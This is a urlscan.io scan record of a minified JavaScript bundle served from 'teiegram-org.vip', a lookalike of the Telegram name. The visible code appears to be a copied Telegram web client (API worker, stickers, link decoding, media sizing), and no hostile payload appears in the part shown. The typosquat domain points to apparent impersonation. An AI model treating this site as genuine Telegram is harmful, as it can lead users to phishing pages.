teiegram-org.vip Open in urlscan Pro
166.88.61.245  Public Scan

URL: https://teiegram-org.vip/main.bcfddf515958c318bae6.js
Submission: On October 27 via api from US — Scanned from CA

Form analysis 0 forms found in the DOM

Text Content

(()=>{"use strict";var e,t,n,o,r={92387:(e,t,n)=>{n.d(t,{t9:()=>T,$9:()=>k,u3:()=>M,UC:()=>A,s8:()=>N,Mk:()=>L,g8:()=>C,Cp:()=>P,Zf:()=>E,mR:()=>S});var o=n(83716),r=n(30879),s=n(46586),a=n(65054),i=n(69995),d=n(69118),c=n(97184);const u=150,l=5e3;let f;const h=new Map,m=new Map,p={chats:{},users:{},messages:{},documents:{},stickerSets:{},photos:{},webDocuments:{},commonBoxState:{},channelPtsById:{}};let g=!0;(0,a.Pz)((e=>{g=e}));const y=c.Eo?new BroadcastChannel(o.tuy):void 0;let b,v=[],w=[],I=!1;function C(e,t){return b=e,g?(f||(o.eMD&&console.log(">>> START LOAD WORKER"),f=new Worker(new URL(n.p+n.u(8415),n.b)),function(e){f?.addEventListener("message",(({data:t})=>{if(t)if("updates"===t.type){let n;if(o.eMD&&(n=performance.now()),t.updates.forEach(e),o.eMD){const e=performance.now()-n;e>5&&console.warn(`[API] Slow updates processing: ${t.updates.length} updates in ${e} ms`)}}else if("methodResponse"===t.type)L(t);else if("methodCallback"===t.type)N(t);else{if("unhandledError"===t.type)throw new Error(t.error?.message);"sendBeacon"===t.type?navigator.sendBeacon(t.url,t.data):"debugLog"===t.type&&(0,r.FI)(t.level,...t.args)}}))}(e),"iOS"===t.platform&&window.addEventListener("focus",(()=>{D(),setTimeout((()=>D()),1e3)}))),R({type:"initApi",args:[t,p]}).then((()=>{I=!0,w.forEach((e=>{T(e.fnName,...e.args).then(e.deferred.resolve).catch(e.deferred.reject)})),w=[],v.forEach((e=>{k(e.fnName,...e.args).then(e.deferred.resolve).catch(e.deferred.reject)})),v=[]}))):(function(e){y&&y.postMessage({type:"initApi",token:(0,a._w)(),initialArgs:e})}(t),Promise.resolve())}function S(e,t,n){p[e][t]=n}function E(e){Object.assign(p,e)}function P(e){return R({type:"toggleDebugMode",isEnabled:e})}function k(e,...t){if(!I){const n=new s.Z;return v.push({fnName:e,args:t,deferred:n}),n.promise}const n=R({type:"callMethod",name:e,args:t});return o.eMD&&(async()=>{try{await n}catch(e){}})(),n}function T(e,...t){if(!I&&g){const n=new s.Z;return w.push({fnName:e,args:t,deferred:n}),n.promise}const n=g?R({type:"callMethod",name:e,args:t}):function(e){const t=(0,i.Z)(),n={messageId:t,...e},o={messageId:t},r=new Promise(((e,t)=>{Object.assign(o,{resolve:e,reject:t})}));if("args"in n&&"name"in n&&"function"==typeof n.args[1]){n.withCallback=!0;const e=n.args.pop();o.callback=e,m.set(e,o)}return h.set(t,o),r.catch((()=>{})).finally((()=>{h.delete(t),o.callback&&m.delete(o.callback)})),function(e){y&&y.postMessage({type:"callApi",token:(0,a._w)(),...e})}(n),r}({name:e,args:t});return o.eMD&&(async()=>{try{await n}catch(e){}})(),n}function M(e){e.isCanceled=!0;const{messageId:t}=m.get(e)||{};if(t)if(g)A(t);else{if(!y)return;y.postMessage({type:"cancelApiProgress",token:(0,a._w)(),messageId:t})}}function A(e){f?.postMessage({type:"cancelProgress",messageId:e})}function L(e){const t=h.get(e.messageId);t&&(e.error?t.reject(e.error):t.resolve(e.response))}function N(e){h.get(e.messageId)?.callback?.(...e.callbackArgs)}function R(e){const t=(0,i.Z)(),n={messageId:t,...e},o={messageId:t},r=new Promise(((e,t)=>{Object.assign(o,{resolve:e,reject:t})}));if("args"in n&&"name"in n&&"function"==typeof n.args[1]){n.withCallback=!0;const e=n.args.pop();o.callback=e,m.set(e,o)}return o.DEBUG_payload=n,h.set(t,o),r.catch((()=>{})).finally((()=>{h.delete(t),o.callback&&m.delete(o.callback)})),f?.postMessage(n),r}const Z=Date.now();async function D(){let e=!1;try{await Promise.race([R({type:"ping"}),(0,d.wO)(u).then((()=>e?void 0:Promise.reject(new Error("HEALTH_CHECK_TIMEOUT"))))])}catch(e){console.error(e),Date.now()-Z>=l&&(f?.terminate(),f=void 0,b({"@type":"requestReconnectApi"}))}finally{e=!0}}},6137:(e,t,n)=>{n.d(t,{IU:()=>r.I,Vv:()=>o.Vv,_Q:()=>o._Q,_f:()=>o._f});var o=n(94746),r=n(9077)},9077:(e,t,n)=>{n.d(t,{I:()=>o});let o=function(e){return e[e.BlobUrl=0]="BlobUrl",e[e.Progressive=1]="Progressive",e[e.DownloadUrl=2]="DownloadUrl",e[e.Text=3]="Text",e}({})},94746:(e,t,n)=>{n.d(t,{Vv:()=>o,_Q:()=>s,_f:()=>r});let o=function(e){return e.Bold="MessageEntityBold",e.Blockquote="MessageEntityBlockquote",e.BotCommand="MessageEntityBotCommand",e.Cashtag="MessageEntityCashtag",e.Code="MessageEntityCode",e.Email="MessageEntityEmail",e.Hashtag="MessageEntityHashtag",e.Italic="MessageEntityItalic",e.MentionName="MessageEntityMentionName",e.Mention="MessageEntityMention",e.Phone="MessageEntityPhone",e.Pre="MessageEntityPre",e.Strike="MessageEntityStrike",e.TextUrl="MessageEntityTextUrl",e.Url="MessageEntityUrl",e.Underline="MessageEntityUnderline",e.Spoiler="MessageEntitySpoiler",e.CustomEmoji="MessageEntityCustomEmoji",e.Unknown="MessageEntityUnknown",e}({});const r=-1,s="MESSAGE_DELETED"},58912:(e,t,n)=>{n.d(t,{Z:()=>l});var o=n(60748),r=n(46752),s=n(60706),a=n(25190),i=n(70692),d=n(97799);function c(){return c=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},c.apply(this,arguments)}const u=150,l=(0,o.X$)((function(e){const{size:t=u,play:n=!0,noLoop:l=!0,className:f,noTransition:h,nonInteractive:m,onLoad:p,onClick:g,...y}=e,[b,v]=(0,s.Z)(!1),w=(0,i.Z)(h||b),I=(0,a.Z)((()=>{v(),p?.()})),[C,S]=(0,o.eJ)(String(Math.random())),E=(0,a.Z)((()=>{!0===n&&S(String(Math.random())),g?.()}));return o.ZP.createElement(d.Z,c({className:(0,r.Z)(f,w),size:t,play:!0===n?C:n,noLoop:l,onClick:m?void 0:E,onLoad:I},y))}))},97799:(e,t,n)=>{n.d(t,{Z:()=>C});var o=n(60748),r=n(57710),s=n(84089),a=n(46752),i=n(80036),d=n(69995),c=n(27370),u=n(97184),l=n(22268),f=n(274),h=n(18674),m=n(25190),p=n(92112),g=n(76997),y=n(70971),b=n(34446),v=n(3927),w=n(27704),I=n(13819);const C=(0,o.X$)((({ref:e,renderId:t,className:n,style:C,tgsUrl:E,play:P,playSegment:k,speed:T,noLoop:M,size:A,quality:L,isLowPriority:N,color:R,forceAlways:Z,forceOnHeavyAnimation:D,sharedCanvas:B,sharedCanvasCoords:O,onClick:x,onLoad:_,onEnded:F,onLoop:j})=>{let $=(0,o.sO)(null);e&&($=e);const U=(0,w.Z)(),[V,H]=(0,o.eJ)(),W=(0,o.sO)(),K=(0,o.sO)(!0),G=!B&&R,z=(0,l.Z)(G?R:void 0),q=P||!1!==P&&k,Y=(0,y.Y)(P),J=(0,y.Y)(k),X=(0,o.sO)();(0,b.Z)((()=>{if(R&&!G){const{r:e,g:t,b:n}=(0,c.oo)(R);X.current=[e,t,n]}else X.current=void 0}),[R,G]);const Q=(0,o.sO)(!1);(0,o.d4)((()=>()=>{Q.current=!0}),[]);const ee=(0,m.Z)((()=>{if(W.current||Q.current||!E||B&&(!O||!B.offsetWidth||!B.offsetHeight))return;const e=$.current||B;if(!e)return;const n=(0,s._)().init(E,e,t||(0,d.Z)(),{size:A,noLoop:M,quality:L,isLowPriority:N,coords:O},U,X.current,_,F,j);T&&n.setSpeed(T),H(n),W.current=n}));(0,o.d4)((()=>{(0,s._)()?ee():(0,s.t)().then(ee)}),[ee,E,B,O]);const te=(0,v.Z)(ee,[ee],150);(0,g.Z)(B,te),(0,o.d4)((()=>{V&&V.setColor(X.current)}),[R,V]),(0,o.d4)((()=>()=>{W.current?.removeView(U)}),[U]);const ne=(0,m.Z)(((e=!1)=>{V&&(Y.current||J.current)&&!S(Z)&&(J.current?V.playSegment(J.current,e,U):V.play(e,U))})),oe=(0,m.Z)((()=>{(0,r.i$)(ne)})),re=(0,m.Z)((()=>{V?.isPlaying()&&V.pause(U)}));if((0,f.Z)((([e])=>{void 0!==e&&M!==e&&V?.setNoLoop(M)}),[M,V]),(0,f.Z)((([e])=>{void 0!==e&&O!==e&&V?.setSharedCanvasCoords(U,O)}),[O,U,V]),(0,o.d4)((()=>{V&&(q?S(Z,D)||ne(M):re())}),[V,q,M,ne,re,Z,D]),(0,o.d4)((()=>{V&&(K.current?K.current=!1:E&&(V.changeData(E),ne()))}),[ne,V,E]),(0,h.ZP)(re,ne,!q||Z||D),(0,p.ZP)(re,ne,!q||Z),(0,I.Z)(re,oe,!q||Z),!B)return o.ZP.createElement("div",{ref:$,className:(0,a.Z)("AnimatedSticker",n),style:(0,i.Z)(void 0!==A&&`width: ${A}px; height: ${A}px;`,x&&!u.D$&&"cursor: pointer",z,C),onClick:x})}));function S(e=!1,t=!1){return!e&&(!t&&(0,h.zG)()||(0,p.lh)()||(0,I.q)())}},96459:(e,t,n)=>{n.d(t,{Z:()=>g});var o=n(60748),r=n(33555),s=n(6137),a=n(7054),i=n(46752),d=n(74753),c=n(92085),u=n(25190),l=n(60422),f=n(36765);const h="a51PrE1gNHtEZTsTv199";var m=n(69123),p=n(53930);const g=(0,o.X$)((({ref:e,documentId:t,size:n=20,isBig:g,noPlay:y,className:b,loopLimit:v,style:w,withGridFix:I,withSharedAnimation:C,sharedCanvasRef:S,sharedCanvasHqRef:E,withTranslucentThumb:P,shouldPreloadPreview:k,forceAlways:T,forceOnHeavyAnimation:M,observeIntersectionForLoading:A,observeIntersectionForPlaying:L,onClick:N,onAnimationEnd:R})=>{let Z=(0,o.sO)(null);e&&(Z=e);const{customEmoji:D,canPlay:B}=(0,l.Z)(t),O=(0,o.sO)(0),[x,_]=(0,o.eJ)(!0),F=D?.shouldUseTextColor,j=(0,c.Z)(Z,!F),$=(0,u.Z)((e=>{v&&(O.current+=1,O.current>=v?(_(!1),e.currentTarget.currentTime=0):(0,d.Z)(e.currentTarget))})),U=(0,u.Z)((()=>{v&&(O.current+=1,O.current>=v-1&&_(!1))})),V=D?.stickerSetInfo&&(0,a.Si0)((0,r.Rd)(),D.stickerSetInfo);return o.ZP.createElement("div",{ref:Z,className:(0,i.Z)("_cPVRYXabaTi4NzwuAuv",b,"custom-emoji","emoji",I&&"ATlIbx7wziKC9hp9tIjf"),onClick:N,onAnimationEnd:R,"data-entity-type":s.Vv.CustomEmoji,"data-document-id":t,"data-alt":D?.emoji,style:w},o.ZP.createElement("img",{className:"YK4vvTRvF0f3KvHfTCcq",src:m,alt:D?.emoji,"data-entity-type":s.Vv.CustomEmoji,"data-document-id":t,draggable:!1}),D?o.ZP.createElement(f.Z,{containerRef:Z,sticker:D,isSmall:!g,size:n,noPlay:y||!B,thumbClassName:h,fullMediaClassName:"ZjeZqyl7YXHdvIDo1TbO",shouldLoop:x,loopLimit:v,shouldPreloadPreview:k||y||!B,forceOnHeavyAnimation:M,forceAlways:T,observeIntersectionForLoading:A,observeIntersectionForPlaying:L,withSharedAnimation:C,sharedCanvasRef:V?E:S,withTranslucentThumb:P,onVideoEnded:$,onAnimatedStickerLoop:U,customColor:j}):o.ZP.createElement("img",{className:h,src:p,alt:"Emoji",draggable:!1}))}))},45370:(e,t,n)=>{n.d(t,{Z:()=>c});var o=n(60748),r=n(6137),s=n(4463),a=n(48035),i=n(32340),d=n(14612);const c=(0,o.X$)((function({lang:e,message:t,translatedText:n,noEmoji:c=!1,highlight:u,truncateLength:l=s.lN,observeIntersectionForLoading:f,observeIntersectionForPlaying:h,withTranslucentThumbs:m=!1,inChatList:p=!1,emojiSize:g}){const{text:y,entities:b}=(0,s.tK)(t,p)||{},v=b?.some((e=>e.type===r.Vv.Spoiler)),w=b?.some((e=>e.type===r.Vv.CustomEmoji));if(!y||!v&&!w){const r=n?.text||(0,s.MK)(e,t,c),d=(0,a.Z)(r,l);return o.ZP.createElement("span",null,u?(0,i.Z)(d,["emoji","highlight"],{highlight:u}):(0,i.Z)(d))}const I=!c&&(0,s.Eb)(t);return o.ZP.createElement(o.ZP.Fragment,null,[I?(0,i.Z)(`${I} `):void 0,(0,s.Kk)(e,t,o.ZP.createElement(d.Z,{messageOrStory:t,translatedText:n,highlight:u,isSimple:!0,observeIntersectionForLoading:f,observeIntersectionForPlaying:h,withTranslucentThumbs:m,truncateLength:l,inChatList:p,emojiSize:g}))].flat().filter(Boolean))}))},14612:(e,t,n)=>{n.d(t,{Z:()=>u});var o=n(60748),r=n(6137),s=n(4463),a=n(48035),i=n(4809),d=n(34446),c=n(27704);const u=(0,o.X$)((function({messageOrStory:e,translatedText:t,isForAnimation:n,emojiSize:u,highlight:l,isSimple:f,truncateLength:h,isProtected:m,observeIntersectionForLoading:p,observeIntersectionForPlaying:g,withTranslucentThumbs:y,shouldRenderAsHtml:b,inChatList:v,forcePlayback:w,focusedQuote:I}){const C=(0,o.sO)(null),S=(0,o.sO)(null),E=(0,o.sO)(0),P=t||(0,s.tK)(e,v),k=n&&P?(0,s.If)(P):P,{text:T,entities:M}=k||{},A=(0,c.Z)();(0,d.Z)((()=>{E.current+=1}),[T,M]);const L=(0,o.Ye)((()=>{const e=M?.some((e=>e.type===r.Vv.Spoiler));return!e&&(M?.filter((e=>e.type===r.Vv.CustomEmoji)).length||0)>=3}),[M])||0;if(!T){const t=(0,s.UD)(e);return t?[(0,a.Z)(t,h)]:void 0}return o.ZP.createElement(o.ZP.Fragment,null,[L&&o.ZP.createElement("canvas",{ref:C,className:"shared-canvas"}),L&&o.ZP.createElement("canvas",{ref:S,className:"shared-canvas"}),(0,i.H)({text:(0,a.Z)(T,h),entities:M,highlight:l,emojiSize:u,shouldRenderAsHtml:b,containerId:A,isSimple:f,isProtected:m,observeIntersectionForLoading:p,observeIntersectionForPlaying:g,withTranslucentThumbs:y,sharedCanvasRef:C,sharedCanvasHqRef:S,cacheBuster:E.current.toString(),forcePlayback:w,focusedQuote:I})].flat().filter(Boolean))}))},10088:(e,t,n)=>{n.d(t,{Z:()=>w});var o=n(60748),r=n(33555),s=n(6137),a=n(83716);const i=e=>{const t=[];let n=0;const o=e.length;let r;for(;n<o;){if(r=e[n++],55296==(63488&r))throw new RangeError("UTF-16(encode): Illegal UTF-16 value");r>65535&&(r-=65536,t.push(String.fromCharCode(r>>>10&1023|55296)),r=56320|1023&r),t.push(String.fromCharCode(r))}return t.join("")},d=36,c=700,u=1,l=26,f=38,h=2147483647;function m(e,t,n){let o;for(e=n?Math.floor(e/c):e>>1,e+=Math.floor(e/t),o=0;e>(d-u)*l>>1;o+=d)e=Math.floor(e/(d-u));return Math.floor(o+(d-u+1)*e/(e+f))}function p(e,t){const n=[],o=[],r=e.length;let s,a,c,f,p,g,y,b,v,w,I,C,S;for(s=128,c=0,f=72,p=e.lastIndexOf("-"),p<0&&(p=0),g=0;g<p;++g){if(t&&(o[n.length]=e.charCodeAt(g)-65<26),e.charCodeAt(g)>=128)throw new RangeError("Illegal input >= 0x80");n.push(e.charCodeAt(g))}for(y=p>0?p+1:0;y<r;){for(b=c,v=1,w=d;;w+=d){if(y>=r)throw RangeError("punycode_bad_input(1)");if(I=(E=e.charCodeAt(y++))-48<10?E-22:E-65<26?E-65:E-97<26?E-97:d,I>=d)throw RangeError("punycode_bad_input(2)");if(I>Math.floor((h-c)/v))throw RangeError("punycode_overflow(1)");if(c+=I*v,C=w<=f?u:w>=f+l?l:w-f,I<C)break;if(v>Math.floor(h/(d-C)))throw RangeError("punycode_overflow(2)");v*=d-C}if(a=n.length+1,f=m(c-b,a,0===b),Math.floor(c/a)>h-s)throw RangeError("punycode_overflow(3)");s+=Math.floor(c/a),c%=a,t&&o.splice(c,0,e.charCodeAt(y-1)-65<26),n.splice(c,0,s),c++}var E;if(t)for(c=0,S=n.length;c<S;c++)o[c]&&(n[c]=String.fromCharCode(n[c]).toUpperCase().charCodeAt(0));return i(n)}var g=n(46752),y=n(81396),b=n(25190);function v(e){if(!e)return;const t=(0,y.X)(e);if(t)try{let e=decodeURI(t.replace(/%%/g,"%25"));const n=e.match(/^https?:\/\/([^/:?#]+)(?:[/:?#]|$)/i);if(!n)return;const o=n[1];return e=e.replace(o,function(e){const t=e.split("."),n=[];for(let e=0;e<t.length;++e){const o=t[e];n.push(o.match(/^xn--/)?p(o.slice(4)):o)}return n.join(".")}(o)),e}catch(t){a.eMD&&console.error("SafeLink.getDecodedUrl error ",e,t)}}const w=(0,o.X$)((({url:e,text:t,className:n,children:a,isRtl:i})=>{const{openUrl:d}=(0,r.Sv)(),c=a||t,u=e===t,l=(0,b.Z)((t=>!e||(t.preventDefault(),d({url:e,shouldSkipModal:u}),!1)));if(!e)return;const f=(0,g.Z)(n||"text-entity-link",t.length>50&&"long-word-break-all");return o.ZP.createElement("a",{href:(0,y.X)(e),title:v(e),target:"_blank",rel:"noopener noreferrer",className:f,onClick:l,dir:i?"rtl":"auto","data-entity-type":s.Vv.Url},c)}))},36765:(e,t,n)=>{n.d(t,{Z:()=>E});var o=n(60748),r=n(33555),s=n(4463),a=n(7054),i=n(46752),d=n(40647),c=n(97184),u=n(22268),l=n(45864),f=n(60706),h=n(18674),m=n(3657),p=n(6202),g=n(70692),y=n(2903),b=n(27704),v=n(38146),w=n(57080),I=n(97799);const C="daPpv_C6WkmYIJyCxxOx",S="lLI5VQHfbz7HKFfIcAnu",E=(0,o.X$)((({containerRef:e,sticker:t,thumbClassName:n,fullMediaHash:E,fullMediaClassName:P,isSmall:k,size:T=24,customColor:M,loopLimit:A,shouldLoop:L=!1,shouldPreloadPreview:N,forceAlways:R,forceOnHeavyAnimation:Z,observeIntersectionForLoading:D,observeIntersectionForPlaying:B,noLoad:O,noPlay:x,withSharedAnimation:_,withTranslucentThumb:F,sharedCanvasRef:j,onVideoEnded:$,onAnimatedStickerLoop:U})=>{const{id:V,isLottie:H,stickerSetInfo:W,emoji:K}=t,[G,z]=(0,f.Z)(),q=t.isVideo&&(!c.Hh||G),Y=t.isVideo&&!q,J=!H&&!Y,X=(0,s.RK)(t.id),Q=(0,v.Z)(),ee=(0,u.Z)(M),te=(0,m.Op)(e,D),ne=te&&!O,oe=(0,m.Op)(e,B)&&te&&!x,re=(0,y.Z)(t),se=d.UV(X),ae=(0,p.Z)(X,Boolean(se||!x)),ie=M?re:ae||re;E||(E=q||J&&k?X:`sticker${V}`);const de=Boolean(E===X&&ae),ce=(0,p.Z)(E,!ne||de),[ue,le]=(0,f.Z)(Boolean(H&&ce&&!ae)),[fe,he,me]=(0,f.Z)(!c.wZ||!(0,h.zG)());(0,h.ZP)(me,he,fe);const pe=fe&&ce&&(J||ue),ge=j&&!F,ye=(0,g.Z)(ie&&!pe),be=(0,g.Z)(pe),ve=H&&ae,we=(0,l.Z)(e,j);(0,p.Z)(X,!ne||!N);const Ie=(0,b.Z)(),Ce=[_?"shared":Ie,V,T,_?M:void 0,Q].filter(Boolean).join("_");return o.ZP.createElement(o.ZP.Fragment,null,o.ZP.createElement("img",{src:ie,className:(0,i.Z)("JutR25BuG9LYhLOr69Ix",ve&&C,ge&&"qH6Cov7zwmysL5nAnEjg",n,ye,"sticker-media"),alt:"",draggable:!1}),fe&&(H?o.ZP.createElement(I.Z,{key:Ce,renderId:Ce,size:T,className:(0,i.Z)(S,(ve||ge)&&C,P,be),tgsUrl:ce,play:oe,noLoop:!L,forceOnHeavyAnimation:R||Z,forceAlways:R,isLowPriority:k&&!(0,a.Si0)((0,r.Rd)(),W),sharedCanvas:j?.current||void 0,sharedCanvasCoords:we,onLoad:le,onLoop:U,onEnded:U,color:M}):Y?o.ZP.createElement(w.Z,{canPlay:oe&&L,className:(0,i.Z)(S,P,be,"sticker-media"),src:ce,playsInline:!0,muted:!0,loop:!A,isPriority:R,disablePictureInPicture:!0,onReady:le,onBroken:z,onEnded:$,style:ee}):o.ZP.createElement("img",{className:(0,i.Z)(S,P,be,"sticker-media"),src:ce,alt:K,style:ee,draggable:!1})))}))},58987:(e,t,n)=>{n.d(t,{Z:()=>u});var o=n(60748),r=n(83716),s=n(46752),a=n(98138),i=n(2155),d=n(32340);const c="aJM6jZTv0FGmbmVoeSGw",u=(0,o.X$)((({className:e,letterClassName:t,topicId:n,iconColor:u,title:l,onClick:f})=>{const h=(0,a.gL)(u);return n===r.OxA?o.ZP.createElement("i",{className:(0,s.Z)(c,e,"icon","icon-hashtag","general-forum-icon"),onClick:f}):o.ZP.createElement("div",{className:(0,s.Z)(c,e),onClick:f},o.ZP.createElement("img",{className:"BYayNMDdPVgrna3NsHfu",src:h,alt:"",draggable:!1}),o.ZP.createElement("div",{className:(0,s.Z)("G4SxYH1X0X2e4J1z7GPV",t,"topic-icon-letter")},(0,d.Z)((0,i.Xv)(l,1))))}))},47348:(e,t,n)=>{n.d(t,{l:()=>C});const o=n.p+"QrPlane.a921709f266564f65b7e.tgs",r=n.p+"CameraFlip.1a9fe44cf01fcb22347d.tgs",s=n.p+"HandFilled.f87939d160f1dc288586.tgs",a=n.p+"HandOutline.f9831751ba60df30c484.tgs",i=n.p+"Speaker.04bb3743412b41ff83c5.tgs",d=n.p+"VoiceAllowTalk.a9cc7c39ec438973ddc9.tgs",c=n.p+"VoiceMini.bf00ffdf69625c579569.tgs",u=n.p+"VoiceMuted.a4b4ec6bfd7c6c5fb275.tgs",l=n.p+"VoiceOutlined.91b394ab3562cdfad6bc.tgs",f=n.p+"PartyPopper.287e4290662b3d2b269c.tgs",h=n.p+"Invite.4502ec3aa4249d6e6723.tgs",m=n.p+"Requests.af9f19772695a8898810.tgs",p=n.p+"TwoFactorSetupMonkeyClose.604c4c833d322b7e6c3e.tgs",g=n.p+"TwoFactorSetupMonkeyIdle.dea4a492c144df84ddab.tgs",y=n.p+"TwoFactorSetupMonkeyPeek.1905436b042520363d7e.tgs",b=n.p+"TwoFactorSetupMonkeyTracking.eb5a7a6f166fb7589c12.tgs",v=n.p+"Congratulations.b6623b8efc6fedec9d33.tgs",w=n.p+"DiscussionGroupsDucks.9ea453d1be9d1b0ee77a.tgs",I=n.p+"Experimental.43d62096368bf5a00ae3.tgs",C={MonkeyIdle:g,MonkeyTracking:b,MonkeyClose:p,MonkeyPeek:y,FoldersAll:n.p+"FoldersAll.3f9f9e243d19f0fbf9aa.tgs",FoldersNew:n.p+"FoldersNew.9a40d71c0c8be70f5bd1.tgs",FoldersShare:n.p+"FoldersShare.3356f97ced75bf97121c.tgs",DiscussionGroups:w,Lock:n.p+"Lock.12547a0228d4fa544e53.tgs",CameraFlip:r,HandFilled:s,HandOutline:a,Speaker:i,VoiceAllowTalk:d,VoiceMini:c,VoiceMuted:u,VoiceOutlined:l,JoinRequest:m,Invite:h,QrPlane:o,Congratulations:v,Experimental:I,PartyPopper:f}},15376:(e,t,n)=>{n.d(t,{K2:()=>a,Oh:()=>d,mD:()=>i,v6:()=>c,yW:()=>s});const o=1073741824,r=1048576;function s(e){return e>o/2?`${(e/o).toFixed(1)} GB`:e>r/2?`${(e/r).toFixed(1)} MB`:`${(e/1024).toFixed(1)} KB`}function a(e){const{fileName:t,mimeType:n}=e;return i(t,n)}function i(e,t){return e&&-1!==e.indexOf(".")?e.split(".").pop():t.split("/").pop()}function d(e){switch(e){case"apk":case"xls":case"xlsx":case"ods":return"green";case"zip":case"rar":case"7z":case"tar":case"gz":case"bz2":case"liz":case"lz4":case"lz5":case"xz":case"zst":case"wim":case"ppt":case"pptx":case"odp":return"orange";case"pdf":case"xps":return"red";default:return"default"}}function c(e){return Boolean(e.previewBlobUrl||e.thumbnail)}},74399:(e,t,n)=>{n.d(t,{Eh:()=>P,Fp:()=>f,GC:()=>k,Gw:()=>d,Kf:()=>S,L6:()=>i,PA:()=>L,Rj:()=>c,W7:()=>T,Wr:()=>A,fM:()=>E,jg:()=>N,kc:()=>C,lE:()=>M,vY:()=>l,wB:()=>h});var o=n(83716),r=n(4463),s=n(97184),a=n(43858);const i="(max-height: 640px)",d=parseInt(getComputedStyle(document.documentElement).fontSize,10),c=240,u=300,l={width:640,height:640},f={width:800,height:800},h="4986041492570112461",m={width:100,height:100},p=4.5,g=7,y=29,b=30;let v,w,I;function C(e,t,n,o,r){const s=t&&n?2.25:t||n?1.625:0,i=function(e,t,n){if(!n)return e?b:y;const{width:o}=a.Z.get();return v||(v=Math.min(b,o/d-p)),w||(w=Math.min(y,o/d-g)),I||(I=Math.min(y,o/d-p)),e?v:t?I:w}(e,o,r)-s;return i*d}function S({width:e,height:t,fromOwnMessage:n,asForwarded:o,isWebPageMedia:r,isGif:s,noAvatars:a,isMobile:i}){const c=t/e,l=C(n,o,r,a,i),f=function(e,t){return e&&t&&t>=.75&&t<=1.25?20*d:27*d}(s,c),h=s?Math.max(u,e):e;return N(l,f,h,s?t*(h/e):t)}function E(e,t){const n=window.matchMedia(i),{width:o,height:r}=a.Z.get();let c=t&&n.matches?10:8.25;return e&&!s.$b&&(c=n.matches?10:12.5),{width:o,height:r-c*d}}function P(e,t,n,o,s,a){const{width:i,height:d}=(0,r.HV)(e)||m;return S({width:i,height:d,fromOwnMessage:t,asForwarded:n,isWebPageMedia:o,noAvatars:s,isMobile:a})}function k(e,t,n,o,s,a){const{width:i,height:d}=(0,r.jC)(e)||m;return S({width:i,height:d,fromOwnMessage:t,asForwarded:n,isWebPageMedia:o,isGif:e.isGif,noAvatars:s,isMobile:a})}function T(){return{width:2*d,height:2*d}}function M(e){return e?{width:3*d,height:3*d}:{width:3.375*d,height:3.375*d}}function A(e,t){const{width:n}=e;let{height:r}=e;e.id===h&&(r=n);const s=r&&n&&r/n,a=d*(t?o.w7O:o.K7x),i=s?a*s:a;return s&&i>a?{width:Math.round(a/s),height:a}:{width:a,height:i}}function L({width:e,height:t},n,o=!1){const{width:r,height:s}=E(n,o);return N(r,s,e,t)}function N(e,t,n,o){const r=o/n,s=Math.min(n,e);return Math.round(s*r)>t?{width:Math.round(t/r),height:t}:{width:s,height:Math.round(s*r)}}},18005:(e,t,n)=>{n.d(t,{D:()=>w});var o=n(60748),r=n(4463),s=n(9937),a=n(48035),i=n(32340),d=n(33555),c=n(46752),u=n(8337);const l=(0,o.X$)((({className:e,chatId:t,children:n})=>{const{openChat:r}=(0,d.Sv)(),s=(0,o.I4)((()=>{t&&r({id:t})}),[t,r]);return t?o.ZP.createElement(u.Z,{className:(0,c.Z)("ChatLink",e),onClick:s},n):n}));var f=n(96459);const h=({className:e,groupCall:t,children:n})=>{const{requestMasterAndJoinGroupCall:r}=(0,d.Sv)(),s=(0,o.I4)((()=>{t&&r({id:t.id,accessHash:t.accessHash})}),[t,r]);return t?o.ZP.createElement(u.Z,{className:(0,c.Z)("GroupCallLink",e),onClick:s},n):n},m=({className:e,message:t,children:n})=>{const{focusMessage:r}=(0,d.Sv)(),s=(0,o.I4)((()=>{t&&r({chatId:t.chatId,messageId:t.id})}),[r,t]);return t?o.ZP.createElement(u.Z,{className:(0,c.Z)("MessageLink",e),onClick:s},n):n};var p=n(45370),g=n(58987);const y=({className:e,sender:t,children:n})=>{const{openChat:r}=(0,d.Sv)(),s=(0,o.I4)((()=>{t&&r({id:t.id})}),[t,r]);return t?o.ZP.createElement(u.Z,{className:(0,c.Z)("UserLink",e),onClick:s},n):n},b=32,v=" ";function w(e,t,n,d,c,u,y,w,S={},E,P){if(!t.content.action)return[];const{text:k,translationValues:T,amount:M,currency:A,call:L,score:N,topicEmojiIconId:R,giftCryptoInfo:Z,pluralValue:D}=t.content.action,B=[],O=S.asPlainText||S.isEmbedded,x="Chat.Service.Group.UpdatedPinnedMessage1"!==k||u?k:"Message.PinnedGenericMessage";let _,F=e(x,T?.length?T:void 0,void 0,D);if(x.includes("ScoredInGame")&&(F=F.replace("un1","%action_origin%").replace("un2","%message%")),"ActionGiftOutbound"===x&&(F=F.replace("un2","%gift_payment_amount%").replace(/\*\*/g,"")),"ActionGiftInbound"===x&&(F=F.replace("un1","%action_origin%").replace("un2","%gift_payment_amount%").replace(/\*\*/g,"")),F.includes("%payment_amount%")&&(_=C(F,"%payment_amount%",(0,s.x)(M,A,e.code)),F=_.pop(),B.push(..._)),_=C(F,"%action_origin%",n?I(n,O)||v:d?function(e,t,n){const s=(0,a.Z)((0,r.U)(e,t),b);return n?(0,i.Z)(s):o.ZP.createElement(l,{className:"action-link",chatId:t.id},t&&(0,i.Z)(s))}(e,d,O)||v:"User",""),F=_.pop(),B.push(..._),F.includes("%action_topic%")&&(_=C(F,"%action_topic%",[w?.iconEmojiId?o.ZP.createElement(f.Z,{documentId:w.iconEmojiId}):"",w?`${w.title}`:"a topic"],""),F=_.pop(),B.push(..._)),F.includes("%action_topic_icon%")){const e=R||w?.iconEmojiId;_=C(F,"%action_topic_icon%",e&&"0"!==e?o.ZP.createElement(f.Z,{documentId:e}):w?o.ZP.createElement(g.Z,{topicId:w.id,title:w.title}):"..."),F=_.pop(),B.push(..._)}if(F.includes("%gift_payment_amount%")){const t=(0,s.x)(M,A,e.code);let n=t;Z&&(n=`${Z.amount} ${Z.currency} (~${t})`),_=C(F,"%gift_payment_amount%",n),F=_.pop(),B.push(..._)}return 